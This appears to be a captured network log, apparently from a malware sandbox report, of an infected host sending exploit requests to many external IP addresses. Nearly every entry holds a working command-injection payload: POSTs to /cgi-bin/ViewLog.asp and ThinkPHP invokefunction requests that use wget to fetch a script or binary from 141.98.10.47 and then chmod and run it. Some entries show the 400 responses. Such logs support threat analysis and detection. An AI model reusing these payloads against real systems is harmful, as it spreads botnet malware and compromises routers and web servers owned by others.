Dec 26, 2023 21:25:43.008925915 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.23	42422	94.121.42.255	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.009080887 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.23	43654	85.122.216.49	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.237196922 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.23	52136	31.136.115.98	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.258827925 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:44.041277885 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:45.576986074 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:48.808567047 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:54.951658010 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:07.237904072 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.23	57616	31.136.47.63	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.259169102 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:44.041264057 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:45.576996088 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:48.808542013 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:54.951667070 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:07.237890005 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.23	37232	31.136.4.33	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.259732962 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:44.041254044 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:45.577012062 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:48.808532953 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:54.951678991 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:07.237885952 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.23	55316	94.121.194.140	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.284663916 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.23	58362	31.44.134.95	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.296817064 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.23	46430	95.124.245.254	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.309221983 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:44.139406919 CET	421	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:43 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.23	51878	112.138.131.117	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.659918070 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:45.449031115 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:45.786417007 CET	530	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 26 Dec 2023 20:25:48 GMT Server: lighttpd/1.4.28-devel-355:365 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.23	46080	62.197.48.154	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.957875967 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:44.200175047 CET	504	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:35 GMT Server: Apache/2 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 403 Forbiddenerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.23	38474	31.136.125.178	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.973167896 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:47.016875982 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:53.159965992 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
